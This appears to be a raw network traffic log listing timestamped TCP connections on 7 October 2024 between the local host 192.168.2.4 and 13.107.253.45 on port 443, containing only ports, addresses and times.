Oct 7, 2024 18:01:34.054615974 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.054644108 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.054996967 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.055028915 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.055202961 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.055241108 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.055294991 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.056849957 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.056870937 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.709602118 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.710228920 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.710242987 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.710716963 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.710721970 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.710922956 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.711215019 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.711224079 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.711541891 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.711546898 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.731298923 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.733861923 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.733937979 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.733990908 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.734008074 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.818691015 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.819528103 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.819583893 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.819611073 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.819626093 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.819637060 CEST	60389	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.819642067 CEST	443	60389	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.820250034 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.820555925 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.820596933 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.820617914 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.820662022 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.820808887 CEST	60390	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.820813894 CEST	443	60390	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.822922945 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.823009968 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.823092937 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.823993921 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.824003935 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.824064970 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.824182034 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.824198008 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.824275017 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.824286938 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.865261078 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.867743015 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.867841959 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.868139982 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.868139982 CEST	60388	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.868208885 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.868293047 CEST	443	60388	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.870901108 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.870939016 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.871032953 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.871213913 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.871226072 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.972492933 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.973050117 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.973078012 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.973506927 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:34.973512888 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:34.999257088 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.003618956 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.003633976 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.004503012 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.004508972 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.081540108 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.081598043 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.081707954 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.081775904 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.082087994 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.082155943 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.082230091 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.082230091 CEST	60391	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.082271099 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.082294941 CEST	443	60391	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.084780931 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.084826946 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.084908962 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.085042953 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.085055113 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.119806051 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.119838953 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.119885921 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.119971991 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.119993925 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.120229959 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.120246887 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.120260954 CEST	60392	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.120268106 CEST	443	60392	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.122831106 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.122885942 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.122972965 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.123128891 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.123147011 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.641374111 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.641535044 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.641925097 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.641940117 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.642151117 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.642167091 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.642441034 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.642446041 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.642621040 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.642626047 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.643507957 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.643783092 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.643798113 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.644133091 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.644138098 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.748294115 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.749407053 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.749502897 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.749605894 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.749711990 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.749711990 CEST	60393	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.749738932 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.749748945 CEST	443	60393	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.750466108 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.750488043 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.750526905 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.750536919 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.750572920 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.750580072 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.751029968 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.751038074 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.751058102 CEST	60394	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.751064062 CEST	443	60394	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.751063108 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.752177000 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.752192020 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.752202988 CEST	60395	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.752209902 CEST	443	60395	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.754295111 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.754333019 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.754426956 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.754523039 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.754559994 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.755178928 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.755206108 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.755323887 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.755356073 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.755362988 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.755364895 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.755467892 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.755484104 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.755551100 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.755558968 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.823771000 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.824335098 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.824354887 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.824415922 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.824811935 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.824816942 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.825103045 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.825119972 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.825352907 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.825360060 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.937802076 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.937853098 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.937989950 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.938142061 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.938328028 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.938328028 CEST	60396	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.938349962 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.938360929 CEST	443	60396	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.939780951 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.939861059 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.939949036 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.939985037 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.940036058 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.940114975 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.940140963 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.940151930 CEST	60397	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.940157890 CEST	443	60397	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.941225052 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.941301107 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.941468000 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.941582918 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.941608906 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.942147017 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.942171097 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:35.942243099 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.942392111 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:35.942419052 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.396600008 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.397097111 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.397119999 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.397574902 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.397584915 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.431046009 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.431536913 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.431560040 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.431962013 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.431967020 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.459655046 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.460133076 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.460155010 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.460580111 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.460587025 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.503909111 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.503976107 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.504066944 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.537950993 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.538028002 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.538098097 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.538114071 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.538156033 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.538207054 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.553894043 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.553927898 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.553973913 CEST	60398	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.553982019 CEST	443	60398	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.555090904 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.555105925 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.555119038 CEST	60399	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.555124044 CEST	443	60399	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.557825089 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.557874918 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.557933092 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.558120012 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.558135986 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.558823109 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.558856010 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.558902025 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.558995008 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.559003115 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.570779085 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.570858955 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.570918083 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.571324110 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.571340084 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.571353912 CEST	60400	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.571360111 CEST	443	60400	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.580796957 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.585835934 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.585923910 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.589534044 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.589548111 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.591336012 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.596925974 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.596970081 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.597007990 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.597040892 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.597042084 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.597393036 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.597404957 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.601018906 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.601051092 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.693519115 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.695033073 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.695102930 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.711069107 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.711107016 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.711194038 CEST	60401	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.711210012 CEST	443	60401	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.715919971 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.716275930 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.716379881 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.716386080 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.716473103 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.751159906 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.751185894 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.751199007 CEST	60402	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.751210928 CEST	443	60402	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.763282061 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.763329029 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.763436079 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.764595032 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.764651060 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.764817953 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.764878988 CEST	60406	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.764910936 CEST	443	60406	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:36.765532970 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:36.765547991 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.308557034 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.309076071 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.309108973 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.309539080 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.309544086 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.321988106 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.322382927 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.322400093 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.322917938 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.322921991 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.340579033 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.340941906 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.340962887 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.341401100 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.341408968 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.415781021 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.415847063 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.415951967 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.415956020 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.416011095 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.416678905 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.416696072 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.416707039 CEST	60404	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.416712999 CEST	443	60404	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.425847054 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.425904036 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.426053047 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.426240921 CEST	60408	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.426259041 CEST	443	60408	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.433006048 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.433063030 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.433125019 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.433250904 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.433264971 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.433298111 CEST	60403	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.433304071 CEST	443	60403	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.436124086 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.436165094 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.436247110 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.436444044 CEST	60409	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.436458111 CEST	443	60409	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.447606087 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.448015928 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.448040009 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.448542118 CEST	60407	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.448548079 CEST	443	60407	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.452864885 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.453927040 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.453985929 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.454034090 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.454062939 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.454078913 CEST	60405	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:37.454087019 CEST	443	60405	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:37.456588984 CEST	60410	443	192.168.2.4	13.107.253.45
